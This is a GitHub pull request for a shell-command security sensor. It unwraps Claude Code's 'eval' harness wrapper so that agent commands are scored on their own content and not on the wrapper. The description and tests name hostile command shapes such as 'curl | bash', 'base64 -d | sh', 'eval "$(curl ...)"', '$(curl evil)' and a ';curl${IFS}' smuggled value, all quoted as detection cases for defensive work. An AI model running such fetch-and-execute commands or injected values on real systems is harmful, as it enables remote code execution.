Repository navigation
Every command Claude Code runs arrives as eval '<CMD>', so the sensor was judging the harness instead of the command - #55
Open
opencdlee-dotcom wants to merge 1 commit into
Open
opencdlee-dotcom wants to merge 1 commit into
opencdlee-dotcom wants to merge 1 commit into
Conversation
… was judging the harness instead of the command
Incident #538 (2026-09-23): a `while true; do s=$(gh pr checks 52 ...)`
poll loop fired eval-subshell. Claude Code runs every agent command as
one `bash -c` string:
/bin/bash -c source ~/.claude/shell-snapshots/snapshot-bash-<nonce>.sh
2>/dev/null || true && shopt -u extglob 2>/dev/null || true &&
{ \builtin unalias -- 'unsetenv'; ... } >/dev/null 2>&1 || true &&
eval '<CMD>' < /dev/null && pwd -P >| /tmp/claude-<hex>-cwd
eval-subshell is `eval ... $(`, so any <CMD> with a command substitution
matched on the harness's own eval. The same eval was also the exec half
of a combination: a value capture `v=$(curl -s https://...)` scored
cmdsub-fetch-exec + network-fetch = fileless-fetch-exec at HIGH, where
the same line typed at a prompt is a MEDIUM fetch. On this Mac right
now, main scores eval-subshell on 2 of 8 live harness processes; this
branch unwraps 9 of 9 and scores none.
_agent_harness_payload() recognises the wrapper against a fixed grammar
(the shell, the snapshot source clause, the optional shopt and unalias
clauses, `eval '...'`, the `< /dev/null && pwd -P >| .../claude-<hex>-cwd`
epilogue) and returns the unquoted payload (`'"'"'` and `'\''` decoded).
Free fields (snapshot path, cwd file, unalias name) admit no shell
metacharacter, so a `;curl${IFS}...` smuggled into one is not the harness,
and neither is any text before the eval or after the epilogue: those
argv are judged whole, as before. Unwrapping runs to a fixed point so
every helper sees the same text.
The payload is judged with the full ruleset, unchanged: `curl | bash`
still fileless-fetch-exec HIGH, `base64 -d | sh` still fires, an osascript
password phish still CRITICAL, and an eval the agent itself runs
(`eval "$(curl ...)"`) still eval-subshell. An unwrapped
`bash -c 'eval "$(curl -s http://x)"'` scores exactly as on main.
Wired into _argv_signals, _argv_match_spans, _argv_evidence_preview (the
preview shows the payload) and _argv_case_identity (the case is the
payload, which also drops the per-command cwd-file nonce the old key
kept). check_behavior records `wrapper: claude-code-snapshot` on the
finding and in its detail. The signal fingerprint and command_sha256
stay on the exact argv.
Only the Claude Code shape exists in the recorded corpus (both prologue
variants are covered). Codex runs `bash -lc <CMD>` with no eval to
unwrap; no Hermes argv is on record, and no double-quoted eval appears.
Tests: tests/test_behavior_harness_wrapper.py (31).
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Step S2 of
PRECISION-PLAN-2026-09-23.md: the behavior wrapper.The defect
Incident #538: a
while true; do s=$(gh pr checks 52 ...)poll loop firedeval-subshell. Claude Code runs every agent command as onebash -cstring:eval-subshelliseval … $(, so any<CMD>with a command substitution matched on the harness's owneval. The sameevalwas also the exec half of a combination. A value capture likev=$(curl -s https://…)scoredcmdsub-fetch-exec+network-fetch, which makesfileless-fetch-execat HIGH. Typed at a prompt, the same line is a MEDIUM fetch.The fix
_agent_harness_payload()checks the argv against a fixed grammar and returns the unquoted payload.'"'"'and'\''are decoded. The grammar is: the shell, the snapshotsourceclause, the optionalshoptandunaliasclauses,eval '…', and the< /dev/null && pwd -P >| …/claude-<hex>-cwdepilogue.;curl${IFS}…is smuggled into one of them, the argv no longer matches the harness shape. The same goes for any text before theevalor after the epilogue. In both cases the whole argv is judged, as it was before.curl | bashstill scoresfileless-fetch-execHIGH.base64 -d | shstill fires. An osascript password phish is still CRITICAL. An eval the agent runs itself (eval "$(curl …)") still scoreseval-subshell._argv_signals,_argv_match_spans,_argv_evidence_preview(the preview now shows the payload) and_argv_case_identity. The case is the payload, which also removes the per-command cwd-file nonce from the case key. Unwrapping repeats until nothing changes, so every helper sees the same text.check_behaviorrecordswrapper: claude-code-snapshoton the finding and in its detail. The signal fingerprint andcommand_sha256still use the exact argv.Evidence
eval-subshellon 2 of 8 harness processes. This branch unwraps 9 of 9 and scores none. The process sets differ because processes came and went between the two runs.tests/test_behavior_harness_wrapper.pyhas 31 tests: #538 in both its recorded forms, the older prologue, real newlines, a value capture, pipe-to-shell, base64 intosh, a phish, the payload's own eval, an unwrapped eval with no change, a prologue with no payload, five smuggling shapes, idempotence, case identity, preview, and thecheck_behaviorwiring.Not in this PR
chain:persistence-executionincident (the Apple/bin/bashupdate joined with this behavior leg). With this change the behavior leg no longer fires, so no new evidence reaches it. Closing it through the mechanism that explains it is S3 (chain legs) or the existing age-out, not this step.$(curl evil)in command position inside a harness payload drops from HIGH (via the harnesseval) to MEDIUM. That is how the same line typed at a prompt is judged today. No idiom covers a command substitution in command position.eval, Codex, and Hermes: no such wrapper appears in the recorded corpus.🤖 Generated with Claude Code